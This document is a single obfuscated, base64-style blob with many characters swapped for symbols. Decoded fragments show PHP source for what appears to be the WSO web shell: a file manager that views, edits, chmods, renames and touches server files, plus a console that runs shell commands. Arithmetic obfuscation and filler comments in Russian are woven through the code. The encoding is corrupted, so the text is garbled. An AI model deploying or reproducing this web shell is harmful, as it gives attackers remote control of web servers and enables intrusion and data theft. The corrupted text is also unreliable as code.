W9k*WZ5IHRpbWU6PC9_cG~uPiAnIC4gZG~0ZSgnWS1tLWQgSDppOnMnLC%m*W$lbXRpbWUoJ~9QT1NUWy@wMS@@KSkgLiAnPGJyPj$icj4nOwogICAg*WYgKGVtcHR5KCRfUE9TV~sncDInXSkpICRfUE9TV~sncDInXSA9IC@2*WV^J_sKICAgIGlmIChpc19m*W$lKCRfUE9TV~sncDEnXSkpICRtID0gYXJyYXkoJ1ZpZXcnLCAnSGln*G$pZ2h0JywgJ0Rv@25sb2~kJywgJ0hleGR1bXAnLCAnRWRp@CcsIC@D*G1vZCcsIC@SZW5hbWUnLCAnVG91Y2gnKTsgZW$_ZSAvKiA8UGV0ZXI+OiDQkiDRgNC+0YIg0L_Qv@C1INC90L7Qs9C4LCDRhNCw0Log0L_QvtC5INC80L7Qt9C_ISEhICovCiAgICAkbSA9IG~ycm~5KC@D*G1vZCcsIC@SZW5hbWUnLCAnVG91Y2gnKTsKICAgIGZvcmVhY2ggKCRtIC8qID$QZXRlcj46INCn0ZEg0LfQsCDRh@GD0LnQv@GPLCDRk@C80LDQv@Cw0YDQvtC+0L7QvtC+0YIhISEg0K8g0YnQsNG%INC+0LHQvtG%0YHRg9G%0YwhICovCiAgICAgICAgICAgIC%hcyAvKiA8PT09PT1lbmQgb2YgcG~y@D09PT09PiAqLwogICAgICAgICAgICAgJHYpIGVj*G8gLyogPD09PT09c^RyZWV0IG1hZ2ljPT09PT0+ICovCiAgICAgICAgJ_$hIGhyZWY9Iy%vbmNs*WNrPSJnKG51bGwsbnVsbC$cJycgLi%1cm$lbmNvZGUoJ~9QT1NUWy@wMS@@KSAuIC@cJy$cJycgLi%_@HJ0b2$v@2VyKCR2KSAuIC@cJykiPicgLiAoKHN0cnRvbG9^ZXIoJHYpID09IEAkX1%PU1RbJ^AyJ10pID8gJ_$iPlsgJyAuICR2IC4gJy%@PC9iPicgOiAk@ikgLiAnPC9hPiAnOwogICAgZWNobyAvKiA8RG~2*WQgQm$h*W5lPjog0JDQs9CwLCDQstC+0YIg0Y^RgtC4INGA0LXQs@GP0YLQsC4uLiAqLwogICAgJ_$icj48YnI+J_sKICAgIHN^*XRj*CAoJ~9QT1NUWy@wMi@@KS%7CiAgICAgICAgY2~_ZSAvKiA8UGV0ZXI+OiDQn@C10L^Qt@C90LXQv@C10L^QtSEhICovCiAgICAgICAgJ^ZpZXcnOgogICAgICAgICAgIC%lY2hvIC8qID$%@m9uPjog0J^Qt@GCLCDQv@C10YIsINCU0Y^QstC40LQg0JHQu9C10LnQvSwg0L^Qt@GCISAqLwogICAgICAgICAgICAnPH%yZS%jbG~_c_1tbDE+J_sKICAgICAgICAgICAgJGZwID0gQGZvcGVuKCRfUE9TV~sncDEnXSwgJ^InKTsKICAgICAgICAgICAg*WYgKCRmcCkgewogICAgICAgICAgICAgICAg@2hpbGUgKC~AZmVvZigkZnApKS%lY2hvIC8qID$EYXZpZC%CbG~pbmU+OiDQryDQtNC10LvQsNGOINC+0YHQvtC$0YPRjiwg0YPQu9C40YfQv@GD0Y4g0L_QsNC_0LjRji4gKi8KICAgICAgICAgICAgICAgIGh0bW$_cGVj*W~sY2hhcnMoQGZyZW~kKCRmcCwgcm91bmQoMCArIDM0MS4_M_M_M_M_M_M_MyArIDM0MS4_M_M_M_M_M_M_MyArIDM0MS4_M_M_M_M_M_M_MykpKTsKICAgICAgICAgICAgICAgIE%mY2$vc2UoJGZwKTsKICAgICAgICAgICAgfQogICAgICAgICAgIC%lY2hvIC8qID$EYXZpZC%CbG~pbmU+OiDQmtGC0L4g0YXQvtGH0LXRgiDRg9Cy0LjQtNC10YLRjCDQv@C10L_Qv@C+0LPQviDQvNCw0LPQuNC4PyAqLwogICAgICAgICAgICAnPC9wcmU+J_sKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2~_ZSAvKiA8QXZvbj46INCn0ZEg0L_RiyDRgtC10LHQtSwg0LTQvtC70LHQvtGC0YDRj9G%0Ysg0LrQsNC60LjQtS^Qv@C40LHRg9C00Yw/INC@0LXRgiwg0YHQv9Cw0YHQuNC$0L4hICovCiAgICAgICAgJ2hpZ2hs*W@o@Cc6CiAgICAgICAgICAgIGlmIChA*XNfcmVhZG~ibGUoJ~9QT1NUWy@wMS@@KSkgewogICAgICAgICAgICAgICAgZWNobyAvKiA8UGV0ZXI+OiDQnNGLINGG0LXQu9GL0Lkg0LTQt@C90Ywg0YjQvtC/0LjQu9C40YHRjCwg0LfQsNC80LDQv@Cw0LvQuNG%0YwsING~0L7RgtC40Lwg0L/RgNC+0YHRgtC+INC+0YLQtNC+0YXQv@GD0YLRjCwg0LLRg@GRISAqLwogICAgICAgICAgICAgICAgJ_$k*XYgY2$hc^M9bWw$IHN0eW$lPSJiYWNrZ^Jv@W5kLWNvbG9yOiAjZT~lMWU$O2NvbG9yOmJsYWNrOyI+J_sKICAgICAgICAgICAgICAgICRjb2RlID0gQGhpZ2hs*W@o@~9m*W$lKCRfUE9TV~sncDEnXSwg@HJ1ZSk7CiAgICAgICAgICAgICAgIC%lY2hvIC8qID$EYXZpZC%CbG~pbmU+OiDQmCDQs9C00LUg0LLRiyDRiNC+0L/QuNC70LjRg@GMPyAqLwogICAgICAgICAgICAgICAgICAgIHN0cl9yZX%sYWNlKG~ycm~5KCc8c^%hbiAnLCAnPC9_cG~uPicpLC%hcnJheSgnPGZvbnQgJywgJ_wvZm9u@D4nKSwgJGNvZGUpIC4gJ_wvZGl2Pic7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2~_ZSAvKiA8UGV0ZXI+OiDQkiDQvtC00LjQvSDQvNCw0LPQsNC^ING~0L7QtNC40LvQuCDQv@C+0LLRi9C5ISAqLwogICAgICAgIC@j*G1vZCc6CiAgICAgICAgICAgIGlmICghZW1w@HkoJ~9QT1NUWy@wMy@@KSkgewogICAgICAgICAgICAgICAgJH%lcm1_ID0gcm91bmQoMCk7CiAgICAgICAgICAgICAgIC%mb^IgKCRpID0gc^RybGVuKCRfUE9TV~sncDMnXSkgLS%yb^VuZCgwICsgMC4yNSArIDAuMjUgKyAwLjI1ICsgMC4yNSk7ICRpID49IHJv@W5kKDApOyAtLSRpKSAkcGVybXMgLyogPE~2b24+OiDQntC9INC10YnRkSDQv@C1INGC0YDQt@C90LTQvtCy0YvQuSwg0YLRiyDQv9GA0L4g0L^Qt@C_0L4g0L^QtSDQt9C90LDQt@GI0YwuICovCiAgICAgICAgICAgICAgICAgICAgK_0gLyogPERh@mlkIEJsYWluZT46INCYINGH0L4g0LrRg9C/0LjQu9C4PyAqLwogICAgICAgICAgICAgICAgICAgIChpbnQpJ~9QT1NUWy@wMy@@WyRpXSAqIH%v@yhyb^VuZCgwICsgMS42ICsgMS42ICsgMS42ICsgMS42ICsgMS42KSwgKHN0cm$lbigkX1%PU1RbJ^A_J10pIC0gJGkgLS%yb^VuZCgwICsgMC41ICsgMC41KSkpOwogICAgICAgICAgICAgICAg*WYgKC~AY2htb2QoJ~9QT1NUWy@wMS@@LCAkcGVybXMpKS%lY2hvIC8qID$%@m9uPjog0K8g0LrRg9C/0LjQuyDQt9C10LvQt@C90YvQuSDRg@Cy0LjRgtC10YAsINC10YHQu9C4INGC0Ysg0YLQsNC6ING~0L7Rh9C10YjRjCDQt9C90LDRgtGMISAqLwogICAgICAgICAgICAgICAgJ0Nhblwn@C%_ZXQgcGVybWl_c2lvbnMhPGJyPj$_Y^JpcHQ+ZG9j@W1lbnQubWYucDMu@m~s@WU9IiI7PC9_Y^JpcHQ+J_sKICAgICAgICAgICAgfQogICAgICAgICAgIC%jbGVhcnN0YXRjYWNoZSgpOwogICAgICAgICAgIC%lY2hvIC8qID$QZXRlcj46INCX0LXQu9C10L^Ri9C5ING%0LLQuNGC0LXRgCEgKi8KICAgICAgICAgICAgICAgICc8c2Ny*X%0PnA_X_0iIjs8L^Njcmlw@D48Zm9ybS%vbnN1Ym1p@D0iZyhu@W$sLG51bGwsXCcnIC4g@XJsZW5jb2RlKCRfUE9TV~sncDEnXSkgLiAnXCcsbnVsbC$0*Gl_LmNobW9kLnZhbHVlKTtyZXR1cm4gZm~sc2U7Ij48*W5w@XQg@HlwZT10ZXh0IG5hbWU9Y2htb2Qg@m~s@WU9IicgLi%_@WJ_@HIoc^%y*W50ZignJW8nLC%m*W$lcGVybXMoJ~9QT1NUWy@wMS@@KSksIC1yb^VuZCgwICsgMS4_M_M_M_M_M_M_M_M_ICsgMS4_M_M_M_M_M_M_M_M_ICsgMS4_M_M_M_M_M_M_M_M_KSkgLiAnIj48*W5w@XQg@HlwZT1_@WJt*XQg@m~s@WU9Ij4+Ij48L2Zvcm0+J_sKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2~_ZSAvKiA8RG~2*WQgQm$h*W5lPjog0JjQv@GC0LXRgNC10YHQv@C+Li4uINCQINGC0Ysg0YPQstC10YDQt@C9LCDRh9GC0L4g0YLRiyDQv@C1INC60YPQv9C40Lsg0YLQt@C00LTQuCDQs@C10LDRgCwg0L/Qu9GO0YjQt@Cy0L7Qs9C+INC80LjRiNC60YM/ICovCiAgICAgICAgJ2Vk*XQnOgogICAgICAgICAgIC%pZiAoIWl_X^@y*XRhYm$lKCRfUE9TV~sncDEnXSkpIHsKICAgICAgICAgICAgICAgIGVj*G8gLyogPE~2b24+OiDQlNCwLCDRjyDRg9Cy0LXRgNC10L0hICovCiAgICAgICAgICAgICAgICAnRmlsZS%pc25cJ^Qg@^Jp@GVhYm$lJ_sKICAgICAgICAgICAgICAgIGJyZW~rOwogICAgICAgICAgIC%9CiAgICAgICAgICAgIGlmICghZW1w@HkoJ~9QT1NUWy@wMy@@KSkgewogICAgICAgICAgICAgICAgJHRpbWUgPS%AZmlsZW10*W1lKCRfUE9TV~sncDEnXSk7CiAgICAgICAgICAgICAgICAkX1%PU1RbJ^A_J10gPS%_@WJ_@HIoJ~9QT1NUWy@wMy@@LC%yb^VuZCgwICsgMC4yICsgMC4yICsgMC4yICsgMC4yICsgMC4yKSk7CiAgICAgICAgICAgICAgICAkZnAgPS%AZm9wZW4oJ~9QT1NUWy@wMS@@LCAi@yIpOwogICAgICAgICAgICAgICAg*WYgKCRmcCkgewogICAgICAgICAgICAgICAgICAgIE%m@^Jp@GUoJGZwLCAkX1%PU1RbJ^A_J10pOwogICAgICAgICAgICAgICAgICAgIE%mY2$vc2UoJGZwKTsKICAgICAgICAgICAgICAgICAgIC%lY2hvIC8qID$%@m9uPjog0KLQl@CU0JTQmCDQk@CY0KAhISAqLwogICAgICAgICAgICAgICAgICAgIC@TYXZlZCE8YnI+PHNjcmlw@D5wM189IiI7PC9_Y^JpcHQ+J_sKICAgICAgICAgICAgICAgICAgIC%A@G91Y2goJ~9QT1NUWy@wMS@@LCAk@GltZSwgJHRpbWUpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgIC%9CiAgICAgICAgICAgIGVj*G8gLyogP~%l@GVyPjog0KfRkSDQt9CwING~0LXRgNGMISAqLwogICAgICAgICAgICAgICAgJ_$mb^JtIG9uc^VibWl0PSJnKG51bGwsbnVsbC$cJycgLi%1cm$lbmNvZGUoJ~9QT1NUWy@wMS@@KSAuIC@cJy$u@W$sL~wnMVwnK^Ro*XMu@GV4@C52YW$1ZSk7cmV0@XJuIGZhbHNlOyI+PHRleHRhcmVhIG5hbWU9@GV4@C%jbG~_c_1i*W@hcmVhPic7CiAgICAgICAgICAgICRmcCA9IE%mb^%lbigkX1%PU1RbJ^A$J10sIC@yJyk7CiAgICAgICAgICAgIGlmICgkZnApIHsKICAgICAgICAgICAgICAgIH@o*W$lICghQGZlb2YoJGZwKSkgZWNobyAvKiA8UGV0ZXI+OiDQrSwg0YLRiyDRh9C+ING%0LTQt@C70LDQuy^RgtC+LCDQsD8hICovCiAgICAgICAgICAgICAgIC%o@G1sc^%lY2lhbGNoYXJ_KE%mcmVhZCgkZnAsIHJv@W5kKDAgKyA$MDI0KSkpOwogICAgICAgICAgICAgICAgQGZjbG9_ZSgkZnApOwogICAgICAgICAgIC%9CiAgICAgICAgICAgIGVj*G8gLyogPE~2b24+OiDQk9C00LUg0L_QvtC5ING%0LLQuNGC0LXRgD8gKi8KICAgICAgICAgICAgJ_wv@GV4@G~yZWE+PGlucHV0IHR5cGU9c^VibWl0IHZhbHVlPSI+PiI+PC9mb^JtPic7CiAgICAgICAgICAgIGJyZW~rOwogICAgICAgIGNhc2UgLyogP~%l@GVyPjog0K^QuSwg0L7QvSDQutGD0L/QuNC7ING%0LLQuNGC0LXRgCwg0LAg0L7QvSDQuNG%0YfQt@C^LCDRj@GC0L4g0YLRiyDQt@C_0L4g0YHRgtGL0YDQuNC7PyDQn9GA0LjRgtGL0YDQuNC7ING%0LXQs@C1ING%0LLQuNGC0LXRgCwg0LTQsCDRj@GC0L4g0LLQvtGA0L7QstG%0YLQstC+ISDQntGC0LTQsNC5INC10LPQviDRg@Cy0LjRgtC10YAsING%0LLQvtC70L7Rh9GMISAqLwogICAgICAgIC@oZXhk@W1wJ_oKICAgICAgICAgICAgJGMgPS%AZmlsZV9nZXRfY29u@GVu@HMoJ~9QT1NUWy@wMS@@KTsKICAgICAgICAgICAgJG4gPS%yb^VuZCgwKTsKICAgICAgICAgICAgJGggPS%hcnJheSgnMDAwMDAwMDA8YnI+JywgJycsICcnKTsKICAgICAgICAgICAgJG$lbiA9IHN0cm$lbigkYyk7CiAgICAgICAgICAgIGZvciAoJGkgPS%yb^VuZCgwKTsgJGkgPCAkbGVuOyArKyRpKS%7CiAgICAgICAgICAgICAgICAk*~tyb^VuZCgwICsgMC41ICsgMC41KV0gLj0gLyogPE~2b24+OiDQryDQv9C+0YLRgNCw0YLQuNC7IDQ4INC00L7Qu9C70LDRgNC+0LIsINGC0YssINGC0YPQv9C+0Lkg0Lgg0YPQs@C+0LPQuNC5INGE0L7QutGD0YHQv@C40LohINCT0LTQtSDQvtC9PyAqLwogICAgICAgICAgICAgICAgICAgIHNwcmlu@GYoJyUwMlgnLC%vcmQoJGNbJGl@KSkgLiAnICc7CiAgICAgICAgICAgICAgIC%_@2l0Y2ggKG9yZCgkY1sk*V0pKS%7CiAgICAgICAgICAgICAgICAgICAgY2~_ZSAvKiA8UGV0ZXI+OiDQn9C40YLQt@GALCDQs9C70Y/Qv@GMINGH0L4g0L^QsCDRgtC10LHQtSEgKi8KICAgICAgICAgICAgICAgICAgIC%yb^VuZCgwKToKICAgICAgICAgICAgICAgICAgICAgICAgJGhbcm91bmQoMCArIDAuNjY2NjY2NjY2NjY2NjcgKyAwLjY2NjY2NjY2NjY2NjY^ICsgMC42NjY2NjY2NjY2NjY2Nyl@IC49IC8qID$%@m9uPjog0KfRgtC+INC^0LAg0YXQt@GA0L^Rj_8/PyDQmtCw0Lo/ICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnICc7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZW~rOwogICAgICAgICAgICAgICAgICAgIGNhc2UgLyogP~%l@GVyPjog0JIg0KDQntCiINCc0J^QlSDQn@Ce0JPQmCEhISAqLwogICAgICAgICAgICAgICAgICAgIHJv@W5kKDAgKyA0LjUgKyA0LjUpOgogICAgICAgICAgICAgICAgICAgICAgICAk*~tyb^VuZCgwICsgMil@IC49IC8qID$%@m9uPjog0K8g0LTQt@GA0LbQsNC7INCyINGA0YPQutCw0YUg0LLQt@GJ0LghICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnICc7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZW~rOwogICAgICAgICAgICAgICAgICAgIGNhc2UgLyogP~%l@GVyPjog0JIg0YDQvtGCINC80L^QtSDQv@C+0LPQuCEgKi8KICAgICAgICAgICAgICAgICAgIC%yb^VuZCgwICsgNSArIDUpOgogICAgICAgICAgICAgICAgICAgICAgICAk*~tyb^VuZCgwICsgMC40ICsgMC40ICsgMC40ICsgMC40ICsgMC40KV0gLj0gLyogPE~2b24+OiDQkCwg0L7QvSDRg9C20LUg0YDQsNG%0YLRj9C90YPRgtGL0LksING%0L/QsNG%0LjQs@C+INGC0LXQs@C1ISAqLwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJyAnOwogICAgICAgICAgICAgICAgICAgICAgIC%icmVh*_sKICAgICAgICAgICAgICAgICAgIC%jYXNlIC8qID$QZXRlcj46INCh0LvRg9GI0LDQuSwg0L7Rg@GC0LDQv@C+0LLQuNG%0YwsINCwPyAqLwogICAgICAgICAgICAgICAgICAgIHJv@W5kKDAgKyAyLjYgKyAyLjYgKyAyLjYgKyAyLjYgKyAyLjYpOgogICAgICAgICAgICAgICAgICAgICAgICAk*~tyb^VuZCgwICsgMil@IC49IC8qID$%@m9uPjog0KDQsNG%0YLRj9C90YPQuyDRg@Cy0LjRgtC10YAsINGPINC10LPQviDQtNCw0LbQtSDQv@C1INC/0L7Qv@C+0YHQuNC7INC10YnRkSEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICcgJ_sKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgZGVmYXVs@DoKICAgICAgICAgICAgICAgICAgICAgICAgJGhbcm91bmQoMCArIDEgKyA$KV0gLj0gLyogPERh@mlkIEJsYWluZT46INCt0LkuINCt0LksINGH0ZEg0YLRiyDQv9GM0ZHRiNGMPyAqLwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNbJGl@OwogICAgICAgICAgICAgICAgICAgICAgIC%icmVh*_sKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRuKys7CiAgICAgICAgICAgICAgIC%pZiAoJG4gLyogP~%l@GVyPjog0J7RgNCw0L^QtiDRg@C+0LTRgyDRjyDQv9GM0Y4hINCn0YLQviwg0LIg0L_Qt@C00LLQt@C00Y8g0L/RgNC10LLRgNCw0YLQuNGI0Yw/INCvING%0YLQsNC60LDQvS^RgtC+INC00LXRgNC20YMhICovCiAgICAgICAgICAgICAgICAgICAgPT0gLyogPERh@mlkIEJsYWluZT46INCe0YDQsNC90LYg0YHQvtC00YM/INCc0L7QttC10YIg0YfRkS^Qv@C40YLRjCDQtNGA0YPQs9C+0LUg0L7RgNCw0L^QttC10LLQvtC1PyAqLwogICAgICAgICAgICAgICAgICAgIHJv@W5kKDAgKyA4ICsgOCArIDggKyA4KQogICAgICAgICAgICAgICAgKS%7CiAgICAgICAgICAgICAgICAgICAgJG4gPS%yb^VuZCgwKTsKICAgICAgICAgICAgICAgICAgIC%pZiAoJGkgKy%yb^VuZCgwICsgMC4yNSArIDAuMjUgKyAwLjI1ICsgMC4yNSkgPCAkbGVuKS%7CiAgICAgICAgICAgICAgICAgICAgICAgICRoW^Jv@W5kKDApXSAuPSAvKiA8UGV0ZXI+OiDQp9C+INC10YnRkSDQvtGA0LDQv@C20LXQstC+0LU/INC@0YMg0Y^RgtC+LCDQv9C10YfQt@C90Y_QutC4PyAqLwogICAgICAgICAgICAgICAgICAgICAgICAgICAgc^%y*W50ZignJTA4WCcsICRpICsgcm91bmQoMCArIDAuMjUgKyAwLjI1ICsgMC4yNSArIDAuMjUpKSAuICc8YnI+J_sKICAgICAgICAgICAgICAgICAgIC%9CiAgICAgICAgICAgICAgICAgICAgJGhbcm91bmQoMCArIDAuMiArIDAuMiArIDAuMiArIDAuMiArIDAuMil@IC49IC8qID$QZXRlcj46INCf0JXQp9CV0J^QrNC*0JghISEg0KHRgtGA0LXQu9GP0YLRjC^QutC+0LvQvtGC0LjRgtGMISAqLwogICAgICAgICAgICAgICAgICAgICAgICAnPGJyPic7CiAgICAgICAgICAgICAgICAgICAgJGhbcm91bmQoMCArIDIpXSAuPSAvKiA8UGV0ZXI+OiDQn9CV0KfQl@C@0K_QmtCYISEhINCf0LXRh9C10L^RjNC60LghINCf0LXRh9C10L^RjNC60LghINCf0LXRh9C10L^RjNC60LghICovCiAgICAgICAgICAgICAgICAgICAgICAgICJcbiI7CiAgICAgICAgICAgICAgIC%9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAvKiA8UGV0ZXI+OiDQk9C00LUg0L7RgNCw0L^QtiDRg@C+0LTQsD8g0KLRiyDRh9C+INC00LXQu9Cw0LXRiNGMINCy0L7QvtC$0YnQtSwg0YLRiyDRh9C+INC00LXQu9Cw0LXRiNGMPyAqLwogICAgICAgICAgICAgICAgJ_$0YWJsZS%jZW$sc^%hY2luZ_0$IGNlbG$wYWRk*W5nPTUgYm@jb2$vcj0jMjIyMjIyPj$0cj48@GQgYm@jb2$vcj0jM_M_M_M_Pj$_cG~uIHN0eW$lPSJmb250LX@l*W@o@Dogbm9ybW~sOyI+PH%yZT4nIC4gJGhbcm91bmQoMCl@IC4gJ_wvcHJlPjwvc^%hbj48L^RkPj$0ZC%iZ2NvbG9yPSMyODI4Mjg+PH%yZT4nIC4gJGhbcm91bmQoMCArIDAuMiArIDAuMiArIDAuMiArIDAuMiArIDAuMil@IC4gJ_wvcHJlPjwv@GQ+PHRkIGJnY29sb^I9I_M_M_M_M_48cHJlPicgLi%o@G1sc^%lY2lhbGNoYXJ_KCRoW^Jv@W5kKDAgKyA$ICsgMSl@KSAuICc8L^%yZT48L^RkPjwv@HI+PC90YWJsZT4nOwogICAgICAgICAgIC%icmVh*_sKICAgICAgIC%jYXNlIC8qID$%@m9uPjog0KMg0L_Qt@C90Y8g0LLQviDRgNGC0YMg0L7RgNCw0L^QtiDRg@C+0LTQsCEgKi8KICAgICAgICAncmVuYW1lJ_oKICAgICAgICAgICAg*WYgKC~lbX%0eSgkX1%PU1RbJ^A_J10pKS%7CiAgICAgICAgICAgICAgIC%pZiAoIU%yZW5hbWUoJ~9QT1NUWy@wMS@@LCAkX1%PU1RbJ^A_J10pKS%lY2hvIC8qID$QZXRlcj46INCvINC90LAg0LjQt9C80LXQv@C1LCDRjyDQv@CwINC40LfQvNC10L^QtSEgKi8KICAgICAgICAgICAgICAgIC@DYW5cJ^QgcmVuYW1lIT$icj4nOy%lbHNlIC8qID$%@m9uPjog0JrQsNC60LDRjyDRh@C10YDQv@GPLCDRgtGLINC/0L7Qu9C+0LbQuNC7INC10ZEg0L_Qv@C1INCyINGA0L7RgiEgKi8KICAgICAgICAgICAgICAgIGRpZSgnPHNjcmlw@D5nKG51bGwsbnVsbCwiJyAuIHVybGVuY29kZSgkX1%PU1RbJ^A_J10pIC4gJyIsbnVsbCwiIik8L^Njcmlw@D4nKTsKICAgICAgICAgICAgfQogICAgICAgICAgIC%lY2hvIC8qID$QZXRlcj46INCSINGA0L7RgiDQvNC90LUg0L^QvtC_0LgsINGC0Ysg0L/RgNC10LrRgNCw0YLQuNGI0Ywg0Y^RgtC+INC40LvQuCDQv@C10YIsINC00LXQvNC+0L0sINC+0YHRgtCw0L^QvtCy0LjRg@GMLCDQsiDRgNC+0YIg0L_Qv@C1INC90L7Qs9C4ISAqLwogICAgICAgICAgICAgICAgJ_$mb^JtIG9uc^VibWl0PSJnKG51bGwsbnVsbC$cJycgLi%1cm$lbmNvZGUoJ~9QT1NUWy@wMS@@KSAuIC@cJy$u@W$sLHRo*XMubm~tZS52YW$1ZSk7cmV0@XJuIGZhbHNlOyI+PGlucHV0IHR5cGU9@GV4@C%uYW1lPW5hbWUg@m~s@WU9IicgLi%o@G1sc^%lY2lhbGNoYXJ_KCRfUE9TV~sncDEnXSkgLiAnIj48*W5w@XQg@HlwZT1_@WJt*XQg@m~s@WU9Ij4+Ij48L2Zvcm0+J_sKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2~_ZSAvKiA8RG~2*WQgQm$h*W5lPjog0J^RgyDQu9Cw0LTQv@C+L@C70LDQtNC90L4sINGA0LXQs@GP0YLQsCwg0LfQv@Cw0LXRgtC1LCDRjyDRh@C+0YfRgyDQv9C+0LrQsNC^0LDRgtGMINCy0LDQvCDQutC+0LUt0YfRgtC+INC00LXQu@G%0YLQstC40YLQt@C70Y_Qv@C+INC60YDRg9GC0L7QtS4uLiAqLwogICAgICAgIC@0b^Vj*Cc6CiAgICAgICAgICAgIGlmICghZW1w@HkoJ~9QT1NUWy@wMy@@KSkgewogICAgICAgICAgICAgICAgJHRpbWUgPS%_@HJ0b^RpbWUoJ~9QT1NUWy@wMy@@KTsKICAgICAgICAgICAgICAgIGlmICgk@GltZSkgewogICAgICAgICAgICAgICAgICAgIGlmICgh@G91Y2goJ~9QT1NUWy@wMS@@LCAk@GltZSwgJHRpbWUpKS%lY2hvIC8qID$QZXRlcj46INC@0JXQoiEgKi8KICAgICAgICAgICAgICAgICAgICAnRm~pbCEnOy%lbHNlIC8qID$%@m9uPjog0J^QtSwg0YfRg9Cy0LDQuiwg0LvRg9GH0YjQtSDRg@C10LHQtSDQv9C+0LrQsNC^0YvQstCw0LkhICovCiAgICAgICAgICAgICAgICAgICAgZWNobyAvKiA8RG~2*WQgQm$h*W5lPjog0KLQsNC6LCDQv9C+0LTQvtC20LTQuNGC0LUg0L7QtNC90YMg0L_QuNC90YPRgtC+0YfQutGDLCDRg@C10LrRg9C90LTRgyDQv9C+0LTQvtC20LTQuNGC0LUuLi4gKi8KICAgICAgICAgICAgICAgICAgICAnVG91Y2hlZCEnOwogICAgICAgICAgICAgICAgfS%lbHNlIC8qID$%@m9uPjog0J7Rg@GC0LDQstGMINC90LDRgSDQsiDQv9C+0LrQvtC1ISAqLwogICAgICAgICAgICAgICAgZWNobyAvKiA8UGV0ZXI+OiDQkNCw0LAsINCy0LjQtNC10Lsg0Y8g0Y^RgtC+0YIg0YTQvtC60YPRgSwg0L^QvtC20LrQsNC80Lgg0L/Qt@GA0LXQs@C40YDQsNGC0Ywg0LHRg9C00LXRiNGMLCDRgtC40L/QsCDQstC^0LvQt@GC0LXRgtGMING~0L7Rh9C10YjRjC4gKi8KICAgICAgICAgICAgICAgIC@CYWQg@GltZS%mb^JtYXQhJ_sKICAgICAgICAgICAgfQogICAgICAgICAgIC%jbGVhcnN0YXRjYWNoZSgpOwogICAgICAgICAgIC%lY2hvIC8qID$%@m9uPjog0J_QvtC5INC/0LvQt@C80Y/Qv@C90LjQuiDQvNC+0LbQt@GCINGC0LDQuiDRg@C00LXQu9Cw0YLRjCwg0YLQvtC20LUg0L_Qv@C1INGE0L7QutGD0YEhICovCiAgICAgICAgICAgICAgICAnPHNjcmlw@D5wM189IiI7PC9_Y^JpcHQ+PGZvcm0gb25_@WJt*XQ9ImcobnVsbC$u@W$sL~wnJyAuIHVybGVuY29kZSgkX1%PU1RbJ^A$J10pIC4gJ1wnLG51bGws@Ghpcy50b^Vj*C52YW$1ZSk7cmV0@XJuIGZhbHNlOyI+PGlucHV0IHR5cGU9@GV4@C%uYW1lPXRv@WNoIHZhbHVlPSInIC4gZG~0ZSgiWS1tLWQgSDppOnMiLC%AZmlsZW10*W1lKCRfUE9TV~sncDEnXSkpIC4gJyI+PGlucHV0IHR5cGU9c^VibWl0IHZhbHVlPSI+PiI+PC9mb^JtPic7CiAgICAgICAgICAgIGJyZW~rOwogICAgfQogICAgZWNobyAvKiA8RG~2*WQgQm$h*W5lPjog0J/RgNC+0YHRgtC+INC/0L7QtNC+0LbQtNC40YLQtSDRg@C10LrRg9C90LTQvtGH0LrRgywg0LA/ICovCiAgICAnPC9k*XY+J_sKICAgIH@_b0Zvb^RlcigpOwp9Cgpm@W5j@GlvbiAvKiA8UGV0ZXI+OiDQmtGA0LjRgSDQr@C50L^QtNC20LXQuyDQtNC10LvQsNC10YIg0Y^RgtC+INC70YPRh9GI0LUsING%0YPQutCwLCDQv9C+0L^Rj9C7LCDQmtGA0LjRgSDQr@C50L^QtNC20LXQuyDQtNC10LvQsNC10YIg0Y^RgtC+INC70YPRh9GI0LUhICovCm~j@GlvbkNvbnNvbGUoKQp7CiAgIC%pZiAoIWVtcHR5KCRfUE9TV~sncDEnXSkgJiYgIWVtcHR5KCRfUE9TV~sncDInXSkpIHsKICAgICAgIC%fX1@TT19fc2V0Y29v*2llKG1kNSgkX1N~UlZ~UlsnS~RUU~9IT1NUJ10pIC4gJ^N0ZGVycl90b19v@XQnLC%0cnVlKTsKICAgICAgICAkX1%PU1RbJ^A$J10gLj0gLyogPE~2b24+OiDQr@C50LLQuNC9ISDQryDQu9C10YfRgyEgKi8KICAgICAgICAgICAgJyAyPiY$J_sKICAgIH0gZW$_ZWlmICghZW1w@HkoJ~9QT1NUWy@wMS@@KSkgX19XU09fX^Nl@GNvb2tpZShtZDUoJ~9TRVJWRVJbJ0hUV~%fSE9TVC@@KSAuIC@_@GRlcnJf@G9fb^V0Jywgcm91bmQoMCkpOwogICAg*WYgKGl_c2V0KCRfUE9TV~snYWpheC@@KSkgewogICAgICAgI~9fV1NPX19_ZXRjb29r*WUobWQ1KCRfU0VSVkVSWy@IV~RQX0hPU1QnXSkgLiAnYWpheCcsIHRy@WUpOwogICAgICAgIG9iX^N0YXJ0KCk7CiAgICAgICAgZWNobyAvKiA8UGV0ZXI+OiDQg@C80LDQv@Cw0YDQvtGCISEgKi8KICAgICAgICAiZC5jZi5jbWQu@m~s@WU9Jyc7XG4iOwogICAgICAgICR0ZW1wID0gQGljb252KCRfUE9TV~snY2hhcnNl@C@@LCAnVVRGLTgnLC%hZGRjc2$hc2hlcygiXG4kICIgLiAkX1%PU1RbJ^A$J10gLiAiXG4iIC4g@^NvRXgoJ~9QT1NUWy@wMS@@KSwgIl$uXHJc@~$cJ1wwIikpOwogICAgICAgIGlmIChwcmVnX21h@GNoKCIhLipjZ~$_KyhbXjt@KykkISIsICRfUE9TV~sncDEnXSwgJG1h@GNoKSkgewogICAgICAgICAgIC%pZiAoQGNoZGlyKCRtYXRj*~tyb^VuZCgwICsgMC4_M_M_M_M_M_M_M_M_MyArIDAuM_